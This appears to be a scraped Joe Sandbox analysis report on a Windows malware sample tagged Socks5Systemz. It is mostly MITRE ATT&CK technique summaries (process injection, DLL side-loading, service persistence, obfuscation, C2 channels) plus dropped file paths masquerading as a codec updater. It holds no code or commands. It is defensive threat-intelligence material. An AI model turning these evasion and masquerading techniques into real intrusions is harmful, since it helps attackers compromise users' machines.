Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
Tactics:	Defense Evasion, Persistence
Data Sources:	Drive: Drive Modification
Platforms:	Linux, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 0RWRPBSuDx.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Socks5Systemz

Yara Signatures

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\WWAN_MobileFixup 2.33.197.66\WWAN_MobileFixup 2.33.197.66.exe

C:\ProgramData\rc66.dat

C:\ProgramData\resource-a.dat

C:\ProgramData\resource-b.dat

C:\ProgramData\ts66.dat

C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

C:\Users\user\AppData\Local\Codec Pack Update\is-06H7C.tmp

C:\Users\user\AppData\Local\Codec Pack Update\is-7NJT9.tmp

C:\Users\user\AppData\Local\Codec Pack Update\is-DUOVK.tmp

C:\Users\user\AppData\Local\Codec Pack Update\is-IQC7T.tmp

C:\Users\user\AppData\Local\Codec Pack Update\is-K5GCJ.tmp

C:\Users\user\AppData\Local\Codec Pack Update\is-K7UM1.tmp

C:\Users\user\AppData\Local\Codec Pack Update\is-MD4P1.tmp

C:\Users\user\AppData\Local\Codec Pack Update\is-MU2B9.tmp

C:\Users\user\AppData\Local\Codec Pack Update\libbz2-1.dll (copy)

C:\Users\user\AppData\Local\Codec Pack Update\libgcc_s_dw2-1.dll (copy)

Windows Analysis Report
0RWRPBSuDx.exe

Function 00409A14 Relevance: 7.6, APIs: 5, Instructions: 78
memoryCOMMON

Function 00408FC8 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 46
libraryloaderCOMMON

Function 00409FB4 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 105
COMMON

Function 00409FD8 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 102
COMMON

Function 00409888 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 77
processCOMMON

Function 00409D26 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 117
windowCOMMON

Function 00409D41 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113
windowCOMMON

Function 00409254 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83
COMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre